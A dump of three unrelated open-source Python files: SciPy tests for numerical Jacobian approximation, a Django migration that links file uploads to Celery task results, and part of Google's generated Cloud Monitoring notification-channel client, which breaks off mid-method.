lb = -np.ones(2)
ub = np.ones(2)
x0 = np.array([-2.0, 0.2])
assert_raises(ValueError, approx_derivative,
self.fun_vector_vector, x0, bounds=(lb, ub))
x0 = np.array([-1.0, 1.0])
jac_diff = approx_derivative(self.fun_vector_vector, x0,
method='2-point', bounds=(lb, ub))
jac_true = self.jac_vector_vector(x0)
assert_allclose(jac_diff, jac_true, rtol=1e-6)
def test_with_bounds_3_point(self):
lb = np.array([1.0, 1.0])
ub = np.array([2.0, 2.0])
x0 = np.array([1.0, 2.0])
jac_true = self.jac_vector_vector(x0)
jac_diff = approx_derivative(self.fun_vector_vector, x0)
assert_allclose(jac_diff, jac_true, rtol=1e-9)
jac_diff = approx_derivative(self.fun_vector_vector, x0,
bounds=(lb, np.inf))
assert_allclose(jac_diff, jac_true, rtol=1e-9)
jac_diff = approx_derivative(self.fun_vector_vector, x0,
bounds=(-np.inf, ub))
assert_allclose(jac_diff, jac_true, rtol=1e-9)
jac_diff = approx_derivative(self.fun_vector_vector, x0,
bounds=(lb, ub))
assert_allclose(jac_diff, jac_true, rtol=1e-9)
def test_tight_bounds(self):
x0 = np.array([10.0, 10.0])
lb = x0 - 3e-9
ub = x0 + 2e-9
jac_true = self.jac_vector_vector(x0)
jac_diff = approx_derivative(
self.fun_vector_vector, x0, method='2-point', bounds=(lb, ub))
assert_allclose(jac_diff, jac_true, rtol=1e-6)
jac_diff = approx_derivative(
self.fun_vector_vector, x0, method='2-point',
rel_step=1e-6, bounds=(lb, ub))
assert_allclose(jac_diff, jac_true, rtol=1e-6)
jac_diff = approx_derivative(
self.fun_vector_vector, x0, bounds=(lb, ub))
assert_allclose(jac_diff, jac_true, rtol=1e-6)
jac_diff = approx_derivative(
self.fun_vector_vector, x0, rel_step=1e-6, bounds=(lb, ub))
assert_allclose(jac_true, jac_diff, rtol=1e-6)
def test_bound_switches(self):
lb = -1e-8
ub = 1e-8
x0 = 0.0
jac_true = self.jac_with_nan(x0)
jac_diff_2 = approx_derivative(
self.fun_with_nan, x0, method='2-point', rel_step=1e-6,
bounds=(lb, ub))
jac_diff_3 = approx_derivative(
self.fun_with_nan, x0, rel_step=1e-6, bounds=(lb, ub))
assert_allclose(jac_diff_2, jac_true, rtol=1e-6)
assert_allclose(jac_diff_3, jac_true, rtol=1e-9)
x0 = 1e-8
jac_true = self.jac_with_nan(x0)
jac_diff_2 = approx_derivative(
self.fun_with_nan, x0, method='2-point', rel_step=1e-6,
bounds=(lb, ub))
jac_diff_3 = approx_derivative(
self.fun_with_nan, x0, rel_step=1e-6, bounds=(lb, ub))
assert_allclose(jac_diff_2, jac_true, rtol=1e-6)
assert_allclose(jac_diff_3, jac_true, rtol=1e-9)
def test_non_numpy(self):
x0 = 1.0
jac_true = self.jac_non_numpy(x0)
jac_diff_2 = approx_derivative(self.jac_non_numpy, x0,
method='2-point')
jac_diff_3 = approx_derivative(self.jac_non_numpy, x0)
assert_allclose(jac_diff_2, jac_true, rtol=1e-6)
assert_allclose(jac_diff_3, jac_true, rtol=1e-8)
# math.exp cannot handle complex arguments, hence this raises
assert_raises(TypeError, approx_derivative, self.jac_non_numpy, x0,
**dict(method='cs'))
def test_check_derivative(self):
x0 = np.array([-10.0, 10])
accuracy = check_derivative(self.fun_vector_vector,
self.jac_vector_vector, x0)
assert_(accuracy < 1e-9)
accuracy = check_derivative(self.fun_vector_vector,
self.jac_vector_vector, x0)
assert_(accuracy < 1e-6)
x0 = np.array([0.0, 0.0])
accuracy = check_derivative(self.fun_zero_jacobian,
self.jac_zero_jacobian, x0)
assert_(accuracy == 0)
accuracy = check_derivative(self.fun_zero_jacobian,
self.jac_zero_jacobian, x0)
assert_(accuracy == 0)
class TestApproxDerivativeSparse(object):
# Example from Numerical Optimization 2nd edition, p. 198.
def setup_method(self):
np.random.seed(0)
self.n = 50
self.lb = -0.1 * (1 + np.arange(self.n))
self.ub = 0.1 * (1 + np.arange(self.n))
self.x0 = np.empty(self.n)
self.x0[::2] = (1 - 1e-7) * self.lb[::2]
self.x0[1::2] = (1 - 1e-7) * self.ub[1::2]
self.J_true = self.jac(self.x0)
def fun(self, x):
e = x[1:]**3 - x[:-1]**2
return np.hstack((0, 3 * e)) + np.hstack((2 * e, 0))
def jac(self, x):
n = x.size
J = np.zeros((n, n))
J[0, 0] = -4 * x[0]
J[0, 1] = 6 * x[1]**2
for i in range(1, n - 1):
J[i, i - 1] = -6 * x[i-1]
J[i, i] = 9 * x[i]**2 - 4 * x[i]
J[i, i + 1] = 6 * x[i+1]**2
J[-1, -1] = 9 * x[-1]**2
J[-1, -2] = -6 * x[-2]
return J
def structure(self, n):
A = np.zeros((n, n), dtype=int)
A[0, 0] = 1
A[0, 1] = 1
for i in range(1, n - 1):
A[i, i - 1: i + 2] = 1
A[-1, -1] = 1
A[-1, -2] = 1
return A
def test_all(self):
A = self.structure(self.n)
order = np.arange(self.n)
groups_1 = group_columns(A, order)
np.random.shuffle(order)
groups_2 = group_columns(A, order)
for method, groups, l, u in product(
['2-point', '3-point', 'cs'], [groups_1, groups_2],
[-np.inf, self.lb], [np.inf, self.ub]):
J = approx_derivative(self.fun, self.x0, method=method,
bounds=(l, u), sparsity=(A, groups))
assert_(isinstance(J, csr_matrix))
assert_allclose(J.toarray(), self.J_true, rtol=1e-6)
rel_step = np.full_like(self.x0, 1e-8)
rel_step[::2] *= -1
J = approx_derivative(self.fun, self.x0, method=method,
rel_step=rel_step, sparsity=(A, groups))
assert_allclose(J.toarray(), self.J_true, rtol=1e-5)
def test_no_precomputed_groups(self):
A = self.structure(self.n)
J = approx_derivative(self.fun, self.x0, sparsity=A)
assert_allclose(J.toarray(), self.J_true, rtol=1e-6)
def test_equivalence(self):
structure = np.ones((self.n, self.n), dtype=int)
groups = np.arange(self.n)
for method in ['2-point', '3-point', 'cs']:
J_dense = approx_derivative(self.fun, self.x0, method=method)
J_sparse = approx_derivative(
self.fun, self.x0, sparsity=(structure, groups), method=method)
assert_equal(J_dense, J_sparse.toarray())
def test_check_derivative(self):
def jac(x):
return csr_matrix(self.jac(x))
accuracy = check_derivative(self.fun, jac, self.x0,
bounds=(self.lb, self.ub))
assert_(accuracy < 1e-9)
accuracy = check_derivative(self.fun, jac, self.x0,
bounds=(self.lb, self.ub))
assert_(accuracy < 1e-9)
class TestApproxDerivativeLinearOperator(object):
def fun_scalar_scalar(self, x):
return np.sinh(x)
def jac_scalar_scalar(self, x):
return np.cosh(x)
def fun_scalar_vector(self, x):
return np.array([x[0]**2, np.tan(x[0]), np.exp(x[0])])
def jac_scalar_vector(self, x):
return np.array(
[2 * x[0], np.cos(x[0]) ** -2, np.exp(x[0])]).reshape(-1, 1)
def fun_vector_scalar(self, x):
return np.sin(x[0] * x[1]) * np.log(x[0])
def jac_vector_scalar(self, x):
return np.array([
x[1] * np.cos(x[0] * x[1]) * np.log(x[0]) +
np.sin(x[0] * x[1]) / x[0],
x[0] * np.cos(x[0] * x[1]) * np.log(x[0])
])
def fun_vector_vector(self, x):
return np.array([
x[0] * np.sin(x[1]),
x[1] * np.cos(x[0]),
x[0] ** 3 * x[1] ** -0.5
])
def jac_vector_vector(self, x):
return np.array([
[np.sin(x[1]), x[0] * np.cos(x[1])],
[-x[1] * np.sin(x[0]), np.cos(x[0])],
[3 * x[0] ** 2 * x[1] ** -0.5, -0.5 * x[0] ** 3 * x[1] ** -1.5]
])
def test_scalar_scalar(self):
x0 = 1.0
jac_diff_2 = approx_derivative(self.fun_scalar_scalar, x0,
method='2-point',
as_linear_operator=True)
jac_diff_3 = approx_derivative(self.fun_scalar_scalar, x0,
as_linear_operator=True)
jac_diff_4 = approx_derivative(self.fun_scalar_scalar, x0,
method='cs',
as_linear_operator=True)
jac_true = self.jac_scalar_scalar(x0)
np.random.seed(1)
for i in range(10):
p = np.random.uniform(-10, 10, size=(1,))
assert_allclose(jac_diff_2.dot(p), jac_true*p,
rtol=1e-5)
assert_allclose(jac_diff_3.dot(p), jac_true*p,
rtol=5e-6)
assert_allclose(jac_diff_4.dot(p), jac_true*p,
rtol=5e-6)
def test_scalar_vector(self):
x0 = 0.5
jac_diff_2 = approx_derivative(self.fun_scalar_vector, x0,
method='2-point',
as_linear_operator=True)
jac_diff_3 = approx_derivative(self.fun_scalar_vector, x0,
as_linear_operator=True)
jac_diff_4 = approx_derivative(self.fun_scalar_vector, x0,
method='cs',
as_linear_operator=True)
jac_true = self.jac_scalar_vector(np.atleast_1d(x0))
np.random.seed(1)
for i in range(10):
p = np.random.uniform(-10, 10, size=(1,))
assert_allclose(jac_diff_2.dot(p), jac_true.dot(p),
rtol=1e-5)
assert_allclose(jac_diff_3.dot(p), jac_true.dot(p),
rtol=5e-6)
assert_allclose(jac_diff_4.dot(p), jac_true.dot(p),
rtol=5e-6)
def test_vector_scalar(self):
x0 = np.array([100.0, -0.5])
jac_diff_2 = approx_derivative(self.fun_vector_scalar, x0,
method='2-point',
as_linear_operator=True)
jac_diff_3 = approx_derivative(self.fun_vector_scalar, x0,
as_linear_operator=True)
jac_diff_4 = approx_derivative(self.fun_vector_scalar, x0,
method='cs',
as_linear_operator=True)
jac_true = self.jac_vector_scalar(x0)
np.random.seed(1)
for i in range(10):
p = np.random.uniform(-10, 10, size=x0.shape)
assert_allclose(jac_diff_2.dot(p), np.atleast_1d(jac_true.dot(p)),
rtol=1e-5)
assert_allclose(jac_diff_3.dot(p), np.atleast_1d(jac_true.dot(p)),
rtol=5e-6)
assert_allclose(jac_diff_4.dot(p), np.atleast_1d(jac_true.dot(p)),
rtol=1e-7)
def test_vector_vector(self):
x0 = np.array([-100.0, 0.2])
jac_diff_2 = approx_derivative(self.fun_vector_vector, x0,
method='2-point',
as_linear_operator=True)
jac_diff_3 = approx_derivative(self.fun_vector_vector, x0,
as_linear_operator=True)
jac_diff_4 = approx_derivative(self.fun_vector_vector, x0,
method='cs',
as_linear_operator=True)
jac_true = self.jac_vector_vector(x0)
np.random.seed(1)
for i in range(10):
p = np.random.uniform(-10, 10, size=x0.shape)
assert_allclose(jac_diff_2.dot(p), jac_true.dot(p), rtol=1e-5)
assert_allclose(jac_diff_3.dot(p), jac_true.dot(p), rtol=1e-6)
assert_allclose(jac_diff_4.dot(p), jac_true.dot(p), rtol=1e-7)
def test_exception(self):
x0 = np.array([-100.0, 0.2])
assert_raises(ValueError, approx_derivative,
self.fun_vector_vector, x0,
method='2-point', bounds=(1, np.inf))
| arokem/scipy | scipy/optimize/tests/test__numdiff.py | Python | bsd-3-clause | 24,483 |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2017-11-01 02:38
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('django_celery_results', '0001_initial'),
('upload', '0002_auto_20171025_0452'),
]
operations = [
migrations.AddField(
model_name='fileupload',
name='task',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='django_celery_results.TaskResult'),
),
]
| UDONRadio/UDON_back | upload/migrations/0003_fileupload_task.py | Python | gpl-3.0 | 616 |
# -*- coding: utf-8 -*-
#
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Accesses the google.monitoring.v3 NotificationChannelService API."""
import functools
import pkg_resources
import warnings
from google.oauth2 import service_account
import google.api_core.gapic_v1.client_info
import google.api_core.gapic_v1.config
import google.api_core.gapic_v1.method
import google.api_core.grpc_helpers
import google.api_core.page_iterator
import google.api_core.path_template
import grpc
from google.api import metric_pb2 as api_metric_pb2
from google.api import monitored_resource_pb2
from google.cloud.monitoring_v3.gapic import enums
from google.cloud.monitoring_v3.gapic import notification_channel_service_client_config
from google.cloud.monitoring_v3.gapic.transports import (
notification_channel_service_grpc_transport,
)
from google.cloud.monitoring_v3.proto import alert_pb2
from google.cloud.monitoring_v3.proto import alert_service_pb2
from google.cloud.monitoring_v3.proto import alert_service_pb2_grpc
from google.cloud.monitoring_v3.proto import common_pb2
from google.cloud.monitoring_v3.proto import group_pb2
from google.cloud.monitoring_v3.proto import group_service_pb2
from google.cloud.monitoring_v3.proto import group_service_pb2_grpc
from google.cloud.monitoring_v3.proto import metric_pb2 as proto_metric_pb2
from google.cloud.monitoring_v3.proto import metric_service_pb2
from google.cloud.monitoring_v3.proto import metric_service_pb2_grpc
from google.cloud.monitoring_v3.proto import notification_pb2
from google.cloud.monitoring_v3.proto import notification_service_pb2
from google.cloud.monitoring_v3.proto import notification_service_pb2_grpc
from google.protobuf import empty_pb2
from google.protobuf import field_mask_pb2
_GAPIC_LIBRARY_VERSION = pkg_resources.get_distribution(
"google-cloud-monitoring"
).version
class NotificationChannelServiceClient(object):
"""
The Notification Channel API provides access to configuration that
controls how messages related to incidents are sent.
"""
SERVICE_ADDRESS = "monitoring.googleapis.com:443"
"""The default address of the service."""
# The name of the interface for this client. This is the key used to
# find the method configuration in the client_config dictionary.
_INTERFACE_NAME = "google.monitoring.v3.NotificationChannelService"
@classmethod
def from_service_account_file(cls, filename, *args, **kwargs):
"""Creates an instance of this client using the provided credentials
file.
Args:
filename (str): The path to the service account private key json
file.
args: Additional arguments to pass to the constructor.
kwargs: Additional arguments to pass to the constructor.
Returns:
NotificationChannelServiceClient: The constructed client.
"""
credentials = service_account.Credentials.from_service_account_file(filename)
kwargs["credentials"] = credentials
return cls(*args, **kwargs)
from_service_account_json = from_service_account_file
@classmethod
def project_path(cls, project):
"""Return a fully-qualified project string."""
return google.api_core.path_template.expand(
"projects/{project}", project=project
)
@classmethod
def notification_channel_path(cls, project, notification_channel):
"""Return a fully-qualified notification_channel string."""
return google.api_core.path_template.expand(
"projects/{project}/notificationChannels/{notification_channel}",
project=project,
notification_channel=notification_channel,
)
@classmethod
def notification_channel_descriptor_path(cls, project, channel_descriptor):
"""Return a fully-qualified notification_channel_descriptor string."""
return google.api_core.path_template.expand(
"projects/{project}/notificationChannelDescriptors/{channel_descriptor}",
project=project,
channel_descriptor=channel_descriptor,
)
def __init__(
self,
transport=None,
channel=None,
credentials=None,
client_config=None,
client_info=None,
):
"""Constructor.
Args:
transport (Union[~.NotificationChannelServiceGrpcTransport,
Callable[[~.Credentials, type], ~.NotificationChannelServiceGrpcTransport]): A transport
instance, responsible for actually making the API calls.
The default transport uses the gRPC protocol.
This argument may also be a callable which returns a
transport instance. Callables will be sent the credentials
as the first argument and the default transport class as
the second argument.
channel (grpc.Channel): DEPRECATED. A ``Channel`` instance
through which to make calls. This argument is mutually exclusive
with ``credentials``; providing both will raise an exception.
credentials (google.auth.credentials.Credentials): The
authorization credentials to attach to requests. These
credentials identify this application to the service. If none
are specified, the client will attempt to ascertain the
credentials from the environment.
This argument is mutually exclusive with providing a
transport instance to ``transport``; doing so will raise
an exception.
client_config (dict): DEPRECATED. A dictionary of call options for
each method. If not specified, the default configuration is used.
client_info (google.api_core.gapic_v1.client_info.ClientInfo):
The client info used to send a user-agent string along with
API requests. If ``None``, then default info will be used.
Generally, you only need to set this if you're developing
your own client library.
"""
# Raise deprecation warnings for things we want to go away.
if client_config is not None:
warnings.warn(
"The `client_config` argument is deprecated.",
PendingDeprecationWarning,
stacklevel=2,
)
else:
client_config = notification_channel_service_client_config.config
if channel:
warnings.warn(
"The `channel` argument is deprecated; use " "`transport` instead.",
PendingDeprecationWarning,
stacklevel=2,
)
# Instantiate the transport.
# The transport is responsible for handling serialization and
# deserialization and actually sending data to the service.
if transport:
if callable(transport):
self.transport = transport(
credentials=credentials,
default_class=notification_channel_service_grpc_transport.NotificationChannelServiceGrpcTransport,
)
else:
if credentials:
raise ValueError(
"Received both a transport instance and "
"credentials; these are mutually exclusive."
)
self.transport = transport
else:
self.transport = notification_channel_service_grpc_transport.NotificationChannelServiceGrpcTransport(
address=self.SERVICE_ADDRESS, channel=channel, credentials=credentials
)
if client_info is None:
client_info = google.api_core.gapic_v1.client_info.ClientInfo(
gapic_version=_GAPIC_LIBRARY_VERSION
)
else:
client_info.gapic_version = _GAPIC_LIBRARY_VERSION
self._client_info = client_info
# Parse out the default settings for retry and timeout for each RPC
# from the client configuration.
# (Ordinarily, these are the defaults specified in the `*_config.py`
# file next to this one.)
self._method_configs = google.api_core.gapic_v1.config.parse_method_configs(
client_config["interfaces"][self._INTERFACE_NAME]
)
# Save a dictionary of cached API call functions.
# These are the actual callables which invoke the proper
# transport methods, wrapped with `wrap_method` to add retry,
# timeout, and the like.
self._inner_api_calls = {}
# Service calls
def list_notification_channel_descriptors(
self,
name,
page_size=None,
retry=google.api_core.gapic_v1.method.DEFAULT,
timeout=google.api_core.gapic_v1.method.DEFAULT,
metadata=None,
):
"""
Lists the descriptors for supported channel types. The use of descriptors
makes it possible for new channel types to be dynamically added.
Example:
>>> from google.cloud import monitoring_v3
>>>
>>> client = monitoring_v3.NotificationChannelServiceClient()
>>>
>>> name = client.project_path('[PROJECT]')
>>>
>>> # Iterate over all results
>>> for element in client.list_notification_channel_descriptors(name):
... # process element
... pass
>>>
>>>
>>> # Alternatively:
>>>
>>> # Iterate over results one page at a time
>>> for page in client.list_notification_channel_descriptors(name).pages:
... for element in page:
... # process element
... pass
Args:
name (str): The REST resource name of the parent from which to retrieve the
notification channel descriptors. The expected syntax is:
::
projects/[PROJECT_ID]
Note that this names the parent container in which to look for the
descriptors; to retrieve a single descriptor by name, use the
``GetNotificationChannelDescriptor`` operation, instead.
page_size (int): The maximum number of resources contained in the
underlying API response. If page streaming is performed per-
resource, this parameter does not affect the return value. If page
streaming is performed per-page, this determines the maximum number
of resources in a page.
retry (Optional[google.api_core.retry.Retry]): A retry object used
to retry requests. If ``None`` is specified, requests will not
be retried.
timeout (Optional[float]): The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata
that is provided to the method.
Returns:
A :class:`~google.gax.PageIterator` instance. By default, this
is an iterable of :class:`~google.cloud.monitoring_v3.types.NotificationChannelDescriptor` instances.
This object can also be configured to iterate over the pages
of the response through the `options` parameter.
Raises:
google.api_core.exceptions.GoogleAPICallError: If the request
failed for any reason.
google.api_core.exceptions.RetryError: If the request failed due
to a retryable error and retry attempts failed.
ValueError: If the parameters are invalid.
"""
if metadata is None:
metadata = []
metadata = list(metadata)
# Wrap the transport method to add retry and timeout logic.
if "list_notification_channel_descriptors" not in self._inner_api_calls:
self._inner_api_calls[
"list_notification_channel_descriptors"
] = google.api_core.gapic_v1.method.wrap_method(
self.transport.list_notification_channel_descriptors,
default_retry=self._method_configs[
"ListNotificationChannelDescriptors"
].retry,
default_timeout=self._method_configs[
"ListNotificationChannelDescriptors"
].timeout,
client_info=self._client_info,
)
request = notification_service_pb2.ListNotificationChannelDescriptorsRequest(
name=name, page_size=page_size
)
iterator = google.api_core.page_iterator.GRPCIterator(
client=None,
method=functools.partial(
self._inner_api_calls["list_notification_channel_descriptors"],
retry=retry,
timeout=timeout,
metadata=metadata,
),
request=request,
items_field="channel_descriptors",
request_token_field="page_token",
response_token_field="next_page_token",
)
return iterator
def get_notification_channel_descriptor(
self,
name,
retry=google.api_core.gapic_v1.method.DEFAULT,
timeout=google.api_core.gapic_v1.method.DEFAULT,
metadata=None,
):
"""
Gets a single channel descriptor. The descriptor indicates which fields
are expected / permitted for a notification channel of the given type.
Example:
>>> from google.cloud import monitoring_v3
>>>
>>> client = monitoring_v3.NotificationChannelServiceClient()
>>>
>>> name = client.notification_channel_descriptor_path('[PROJECT]', '[CHANNEL_DESCRIPTOR]')
>>>
>>> response = client.get_notification_channel_descriptor(name)
Args:
name (str): The channel type for which to execute the request. The format is
``projects/[PROJECT_ID]/notificationChannelDescriptors/{channel_type}``.
retry (Optional[google.api_core.retry.Retry]): A retry object used
to retry requests. If ``None`` is specified, requests will not
be retried.
timeout (Optional[float]): The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata
that is provided to the method.
Returns:
A :class:`~google.cloud.monitoring_v3.types.NotificationChannelDescriptor` instance.
Raises:
google.api_core.exceptions.GoogleAPICallError: If the request
failed for any reason.
google.api_core.exceptions.RetryError: If the request failed due
to a retryable error and retry attempts failed.
ValueError: If the parameters are invalid.
"""
if metadata is None:
metadata = []
metadata = list(metadata)
# Wrap the transport method to add retry and timeout logic.
if "get_notification_channel_descriptor" not in self._inner_api_calls:
self._inner_api_calls[
"get_notification_channel_descriptor"
] = google.api_core.gapic_v1.method.wrap_method(
self.transport.get_notification_channel_descriptor,
default_retry=self._method_configs[
"GetNotificationChannelDescriptor"
].retry,
default_timeout=self._method_configs[
"GetNotificationChannelDescriptor"
].timeout,
client_info=self._client_info,
)
request = notification_service_pb2.GetNotificationChannelDescriptorRequest(
name=name
)
return self._inner_api_calls["get_notification_channel_descriptor"](
request, retry=retry, timeout=timeout, metadata=metadata
)
def list_notification_channels(
self,
name,
filter_=None,
order_by=None,
page_size=None,
retry=google.api_core.gapic_v1.method.DEFAULT,
timeout=google.api_core.gapic_v1.method.DEFAULT,
metadata=None,
):
"""
Lists the notification channels that have been created for the project.
Example:
>>> from google.cloud import monitoring_v3
>>>
>>> client = monitoring_v3.NotificationChannelServiceClient()
>>>
>>> name = client.project_path('[PROJECT]')
>>>
>>> # Iterate over all results
>>> for element in client.list_notification_channels(name):
... # process element
... pass
>>>
>>>
>>> # Alternatively:
>>>
>>> # Iterate over results one page at a time
>>> for page in client.list_notification_channels(name).pages:
... for element in page:
... # process element
... pass
Args:
name (str): The project on which to execute the request. The format is
``projects/[PROJECT_ID]``. That is, this names the container in which to
look for the notification channels; it does not name a specific channel.
To query a specific channel by REST resource name, use the
``GetNotificationChannel`` operation.
filter_ (str): If provided, this field specifies the criteria that must be met by
notification channels to be included in the response.
For more details, see `sorting and
filtering <https://cloud.google.com/monitoring/api/v3/sorting-and-filtering>`__.
order_by (str): A comma-separated list of fields by which to sort the result. Supports
the same set of fields as in ``filter``. Entries can be prefixed with a
minus sign to sort in descending rather than ascending order.
For more details, see `sorting and
filtering <https://cloud.google.com/monitoring/api/v3/sorting-and-filtering>`__.
page_size (int): The maximum number of resources contained in the
underlying API response. If page streaming is performed per-
resource, this parameter does not affect the return value. If page
streaming is performed per-page, this determines the maximum number
of resources in a page.
retry (Optional[google.api_core.retry.Retry]): A retry object used
to retry requests. If ``None`` is specified, requests will not
be retried.
timeout (Optional[float]): The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata
that is provided to the method.
Returns:
A :class:`~google.gax.PageIterator` instance. By default, this
is an iterable of :class:`~google.cloud.monitoring_v3.types.NotificationChannel` instances.
This object can also be configured to iterate over the pages
of the response through the `options` parameter.
Raises:
google.api_core.exceptions.GoogleAPICallError: If the request
failed for any reason.
google.api_core.exceptions.RetryError: If the request failed due
to a retryable error and retry attempts failed.
ValueError: If the parameters are invalid.
"""
if metadata is None:
metadata = []
metadata = list(metadata)
# Wrap the transport method to add retry and timeout logic.
if "list_notification_channels" not in self._inner_api_calls:
self._inner_api_calls[
"list_notification_channels"
] = google.api_core.gapic_v1.method.wrap_method(
self.transport.list_notification_channels,
default_retry=self._method_configs["ListNotificationChannels"].retry,
default_timeout=self._method_configs[
"ListNotificationChannels"
].timeout,
client_info=self._client_info,
)
request = notification_service_pb2.ListNotificationChannelsRequest(
name=name, filter=filter_, order_by=order_by, page_size=page_size
)
iterator = google.api_core.page_iterator.GRPCIterator(
client=None,
method=functools.partial(
self._inner_api_calls["list_notification_channels"],
retry=retry,
timeout=timeout,
metadata=metadata,
),
request=request,
items_field="notification_channels",
request_token_field="page_token",
response_token_field="next_page_token",
)
return iterator
def get_notification_channel(
self,
name,
retry=google.api_core.gapic_v1.method.DEFAULT,
timeout=google.api_core.gapic_v1.method.DEFAULT,
metadata=None,
):
"""
Gets a single notification channel. The channel includes the relevant
configuration details with which the channel was created. However, the
response may truncate or omit passwords, API keys, or other private key
matter and thus the response may not be 100% identical to the information
that was supplied in the call to the create method.
Example:
>>> from google.cloud import monitoring_v3
>>>
>>> client = monitoring_v3.NotificationChannelServiceClient()
>>>
>>> name = client.notification_channel_path('[PROJECT]', '[NOTIFICATION_CHANNEL]')
>>>
>>> response = client.get_notification_channel(name)
Args:
name (str): The channel for which to execute the request. The format is
``projects/[PROJECT_ID]/notificationChannels/[CHANNEL_ID]``.
retry (Optional[google.api_core.retry.Retry]): A retry object used
to retry requests. If ``None`` is specified, requests will not
be retried.
timeout (Optional[float]): The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata
that is provided to the method.
Returns:
A :class:`~google.cloud.monitoring_v3.types.NotificationChannel` instance.
Raises:
google.api_core.exceptions.GoogleAPICallError: If the request
failed for any reason.
google.api_core.exceptions.RetryError: If the request failed due
to a retryable error and retry attempts failed.
ValueError: If the parameters are invalid.
"""
if metadata is None:
metadata = []
metadata = list(metadata)
# Wrap the transport method to add retry and timeout logic.
if "get_notification_channel" not in self._inner_api_calls:
self._inner_api_calls[
"get_notification_channel"
] = google.api_core.gapic_v1.method.wrap_method(
self.transport.get_notification_channel,
default_retry=self._method_configs["GetNotificationChannel"].retry,
default_timeout=self._method_configs["GetNotificationChannel"].timeout,
client_info=self._client_info,
)
request = notification_service_pb2.GetNotificationChannelRequest(name=name)
return self._inner_api_calls["get_notification_channel"](
request, retry=retry, timeout=timeout, metadata=metadata
)
def create_notification_channel(
self,
name,
notification_channel,
retry=google.api_core.gapic_v1.method.DEFAULT,
timeout=google.api_core.gapic_v1.method.DEFAULT,
metadata=None,
):
"""
Creates a new notification channel, representing a single notification
endpoint such as an email address, SMS number, or PagerDuty service.
Example:
>>> from google.cloud import monitoring_v3
>>>
>>> client = monitoring_v3.NotificationChannelServiceClient()
>>>
>>> name = client.project_path('[PROJECT]')
>>>
>>> # TODO: Initialize `notification_channel`:
>>> notification_channel = {}
>>>
>>> response = client.create_notification_channel(name, notification_channel)
Args:
name (str): The project on which to execute the request. The format is:
::
projects/[PROJECT_ID]
Note that this names the container into which the channel will be
written. This does not name the newly created channel. The resulting
channel's name will have a normalized version of this field as a prefix,
but will add ``/notificationChannels/[CHANNEL_ID]`` to identify the
channel.
notification_channel (Union[dict, ~google.cloud.monitoring_v3.types.NotificationChannel]): The definition of the ``NotificationChannel`` to create.
If a dict is provided, it must be of the same form as the protobuf
message :class:`~google.cloud.monitoring_v3.types.NotificationChannel`
retry (Optional[google.api_core.retry.Retry]): A retry object used
to retry requests. If ``None`` is specified, requests will not
be retried.
timeout (Optional[float]): The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata
that is provided to the method.
Returns:
A :class:`~google.cloud.monitoring_v3.types.NotificationChannel` instance.
Raises:
google.api_core.exceptions.GoogleAPICallError: If the request
failed for any reason.
google.api_core.exceptions.RetryError: If the request failed due
to a retryable error and retry attempts failed.
ValueError: If the parameters are invalid.
"""
if metadata is None:
metadata = []
metadata = list(metadata)
# Wrap the transport method to add retry and timeout logic.
if "create_notification_channel" not in self._inner_api_calls:
self._inner_api_calls[
"create_notification_channel"
] = google.api_core.gapic_v1.method.wrap_method(
self.transport.create_notification_channel,
default_retry=self._method_configs["CreateNotificationChannel"].retry,
default_timeout=self._method_configs[
"CreateNotificationChannel"
].timeout,
client_info=self._client_info,
)
request = notification_service_pb2.CreateNotificationChannelRequest(
name=name, notification_channel=notification_channel
)
return self._inner_api_calls["create_notification_channel"](
request, retry=retry, timeout=timeout, metadata=metadata
)
def update_notification_channel(
self,
notification_channel,
update_mask=None,
retry=google.api_core.gapic_v1.method.DEFAULT,
timeout=google.api_core.gapic_v1.method.DEFAULT,
metadata=None,
):
"""
Updates a notification channel. Fields not specified in the field mask
remain unchanged.
Example:
>>> from google.cloud import monitoring_v3
>>>
>>> client = monitoring_v3.NotificationChannelServiceClient()
>>>
>>> # TODO: Initialize `notification_channel`:
>>> notification_channel = {}
>>>
>>> response = client.update_notification_channel(notification_channel)
Args:
notification_channel (Union[dict, ~google.cloud.monitoring_v3.types.NotificationChannel]): A description of the changes to be applied to the specified notification
channel. The description must provide a definition for fields to be
updated; the names of these fields should also be included in the
``update_mask``.
If a dict is provided, it must be of the same form as the protobuf
message :class:`~google.cloud.monitoring_v3.types.NotificationChannel`
update_mask (Union[dict, ~google.cloud.monitoring_v3.types.FieldMask]): The fields to update.
If a dict is provided, it must be of the same form as the protobuf
message :class:`~google.cloud.monitoring_v3.types.FieldMask`
retry (Optional[google.api_core.retry.Retry]): A retry object used
to retry requests. If ``None`` is specified, requests will not
be retried.
timeout (Optional[float]): The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata
that is provided to the method.
Returns:
A :class:`~google.cloud.monitoring_v3.types.NotificationChannel` instance.
Raises:
google.api_core.exceptions.GoogleAPICallError: If the request
failed for any reason.
google.api_core.exceptions.RetryError: If the request failed due
to a retryable error and retry attempts failed.
ValueError: If the parameters are invalid.
"""
if metadata is None:
metadata = []
metadata = list(metadata)
# Wrap the transport method to add retry and timeout logic.
